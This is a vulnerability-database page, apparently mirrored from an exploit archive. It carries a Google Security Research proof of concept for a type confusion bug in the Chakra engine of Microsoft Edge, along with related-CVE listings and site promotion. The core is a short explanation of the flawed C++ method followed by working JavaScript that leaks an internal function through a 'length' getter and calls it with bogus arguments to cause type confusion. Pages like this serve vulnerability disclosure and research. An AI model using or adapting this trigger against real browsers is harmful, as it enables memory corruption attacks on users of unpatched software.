Lucene search
K

Microsoft Edge Chakra - JavascriptGeneratorFunction::GetPropertyBuiltIns Type Confusion Exploit

🗓️ 18 Jan 2018 00:00:00Reported by Google Security ResearchType 
zdt
 zdt
🔗 0day.today👁 65 Views

Vulnerability in Microsoft Edge Chakra JavascriptGeneratorFunctio

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2017-11886
12 Dec 201721:29
attackerkb
ATTACKERKB
CVE-2017-11905
12 Dec 201721:29
attackerkb
ATTACKERKB
CVE-2017-11914
12 Dec 201721:29
attackerkb
ATTACKERKB
CVE-2017-11909
12 Dec 201721:29
attackerkb
ATTACKERKB
CVE-2017-11908
12 Dec 201721:29
attackerkb
ATTACKERKB
CVE-2017-11894
12 Dec 201721:29
attackerkb
ATTACKERKB
CVE-2017-11890
12 Dec 201721:29
attackerkb
ATTACKERKB
CVE-2017-11930
12 Dec 201721:29
attackerkb
ATTACKERKB
CVE-2017-11895
12 Dec 201721:29
attackerkb
ATTACKERKB
CVE-2017-11901
12 Dec 201721:29
attackerkb
Rows per page
/*
Here's a snippet of the method.
bool JavascriptGeneratorFunction::GetPropertyBuiltIns(Var originalInstance, PropertyId propertyId, Var* value, PropertyValueInfo* info, ScriptContext* requestContext, BOOL* result)
{
    if (propertyId == PropertyIds::length)
    {
        ...
        int len = 0;
        Var varLength;
        if (scriptFunction->GetProperty(scriptFunction, PropertyIds::length, &varLength, NULL, requestContext))
        {
            len = JavascriptConversion::ToInt32(varLength, requestContext);
        }
        ...
        return true;
    }
 
    return false;
}
 
"JavascriptGeneratorFunction" is like a wrapper class used to ensure the arguments for "scriptFunction". So "scriptFunction" must not be exposed to user JavaScript code. But the vulnerable method exposes "scriptFunction" as "this" when getting the "length" property.
 
The code should be like: "scriptFunction->GetProperty(this, PropertyIds::length, &varLength, NULL, requestContext);"
 
Type confusion PoC:
*/
 
function* f() {
}
 
let g;
f.__defineGetter__('length', function () {
    g = this;  // g == "scriptFunction"
});
 
 
f.length;
 
g.call(0x1234, 0x5678);  // type confusion

#  0day.today [2018-04-13]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

18 Jan 2018 00:00Current
7.8High risk
Vulners AI Score7.8
EPSS0.73407
65